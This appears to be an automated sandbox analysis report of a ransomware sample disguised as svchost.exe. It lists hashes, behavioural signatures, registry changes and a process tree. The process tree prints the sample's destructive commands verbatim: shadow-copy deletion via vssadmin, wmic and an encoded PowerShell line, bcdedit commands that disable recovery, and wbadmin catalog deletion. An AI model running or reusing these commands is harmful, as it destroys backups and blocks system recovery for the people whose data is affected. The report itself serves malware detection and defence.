Analysis
- max time kernel
25s - max time network
113s - platform
windows10_x64 - resource
win10v20201028 - submitted
09/11/2020, 19:33
Static task
static1
Behavioral task
behavioral1
Sample
svchost.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
svchost.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target svchost.exe
- Size 312KB
- Sample201109-s3grmv78ej
- SHA256 a1b6faa0465ec8bf30e3450f9679f121ff9e724257577c38c813b77e82e1f42f
- MD5 fbd82a5f5bfe23872fad17cf62c41a6e
- SHA1 03dff661da8207517fc4cb3c0809e8c0fe7f76fa
- SHA512 ac653d1f6b2222c56c3b73715219028a70ca078c87585a11ee2260d68d336e76a794d5d4c111c7c423aa916ed375d18a0cc3a6eb4789e40414243467e11da9bc
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\host svchost.exe - Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ResumeRestart.raw => C:\Users\Admin\Pictures\ResumeRestart.raw.Zv7uN svchost.exe File renamed C:\Users\Admin\Pictures\SuspendApprove.raw => C:\Users\Admin\Pictures\SuspendApprove.raw.Zv7uN svchost.exe File renamed C:\Users\Admin\Pictures\DisableRequest.tif => C:\Users\Admin\Pictures\DisableRequest.tif.Zv7uN svchost.exe File renamed C:\Users\Admin\Pictures\HideCompress.raw => C:\Users\Admin\Pictures\HideCompress.raw.Zv7uN svchost.exe File renamed C:\Users\Admin\Pictures\ReadMeasure.raw => C:\Users\Admin\Pictures\ReadMeasure.raw.Zv7uN svchost.exe File renamed C:\Users\Admin\Pictures\RenameUnprotect.raw => C:\Users\Admin\Pictures\RenameUnprotect.raw.Zv7uN svchost.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost.exe - Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe - Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
- Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3080 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2484 svchost.exe 2484 svchost.exe 2484 svchost.exe 2484 svchost.exe 2484 svchost.exe 2484 svchost.exe 2484 svchost.exe 2484 svchost.exe 2968 powershell.exe 2968 powershell.exe 2968 powershell.exe - Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeBackupPrivilege 3244 vssvc.exe Token: SeRestorePrivilege 3244 vssvc.exe Token: SeAuditPrivilege 3244 vssvc.exe Token: SeIncreaseQuotaPrivilege 2980 WMIC.exe Token: SeSecurityPrivilege 2980 WMIC.exe Token: SeTakeOwnershipPrivilege 2980 WMIC.exe Token: SeLoadDriverPrivilege 2980 WMIC.exe Token: SeSystemProfilePrivilege 2980 WMIC.exe Token: SeSystemtimePrivilege 2980 WMIC.exe Token: SeProfSingleProcessPrivilege 2980 WMIC.exe Token: SeIncBasePriorityPrivilege 2980 WMIC.exe Token: SeCreatePagefilePrivilege 2980 WMIC.exe Token: SeBackupPrivilege 2980 WMIC.exe Token: SeRestorePrivilege 2980 WMIC.exe Token: SeShutdownPrivilege 2980 WMIC.exe Token: SeDebugPrivilege 2980 WMIC.exe Token: SeSystemEnvironmentPrivilege 2980 WMIC.exe Token: SeRemoteShutdownPrivilege 2980 WMIC.exe Token: SeUndockPrivilege 2980 WMIC.exe Token: SeManageVolumePrivilege 2980 WMIC.exe Token: 33 2980 WMIC.exe Token: 34 2980 WMIC.exe Token: 35 2980 WMIC.exe Token: 36 2980 WMIC.exe Token: SeIncreaseQuotaPrivilege 2980 WMIC.exe Token: SeSecurityPrivilege 2980 WMIC.exe Token: SeTakeOwnershipPrivilege 2980 WMIC.exe Token: SeLoadDriverPrivilege 2980 WMIC.exe Token: SeSystemProfilePrivilege 2980 WMIC.exe Token: SeSystemtimePrivilege 2980 WMIC.exe Token: SeProfSingleProcessPrivilege 2980 WMIC.exe Token: SeIncBasePriorityPrivilege 2980 WMIC.exe Token: SeCreatePagefilePrivilege 2980 WMIC.exe Token: SeBackupPrivilege 2980 WMIC.exe Token: SeRestorePrivilege 2980 WMIC.exe Token: SeShutdownPrivilege 2980 WMIC.exe Token: SeDebugPrivilege 2980 WMIC.exe Token: SeSystemEnvironmentPrivilege 2980 WMIC.exe Token: SeRemoteShutdownPrivilege 2980 WMIC.exe Token: SeUndockPrivilege 2980 WMIC.exe Token: SeManageVolumePrivilege 2980 WMIC.exe Token: 33 2980 WMIC.exe Token: 34 2980 WMIC.exe Token: 35 2980 WMIC.exe Token: 36 2980 WMIC.exe Token: SeDebugPrivilege 2968 powershell.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2484 wrote to memory of 3196 2484 svchost.exe 76 PID 2484 wrote to memory of 3196 2484 svchost.exe 76 PID 2484 wrote to memory of 3196 2484 svchost.exe 76 PID 2484 wrote to memory of 3464 2484 svchost.exe 77 PID 2484 wrote to memory of 3464 2484 svchost.exe 77 PID 2484 wrote to memory of 3464 2484 svchost.exe 77 PID 2484 wrote to memory of 2968 2484 svchost.exe 80 PID 2484 wrote to memory of 2968 2484 svchost.exe 80 PID 2484 wrote to memory of 2968 2484 svchost.exe 80 PID 3464 wrote to memory of 3080 3464 cmd.exe 82 PID 3464 wrote to memory of 3080 3464 cmd.exe 82 PID 3464 wrote to memory of 3080 3464 cmd.exe 82 PID 3196 wrote to memory of 2884 3196 cmd.exe 83 PID 3196 wrote to memory of 2884 3196 cmd.exe 83 PID 3196 wrote to memory of 2884 3196 cmd.exe 83 PID 3464 wrote to memory of 2980 3464 cmd.exe 85 PID 3464 wrote to memory of 2980 3464 cmd.exe 85 PID 3464 wrote to memory of 2980 3464 cmd.exe 85 - System policy modification 1 TTPs 17 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0" svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1" svchost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"1⤵
- Drops file in Drivers directory
- Modifies extensions of user files
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2484 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc config "AppCheck" start=disabled2⤵
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\SysWOW64\sc.exesc config "AppCheck" start=disabled3⤵PID:2884
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3080
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3244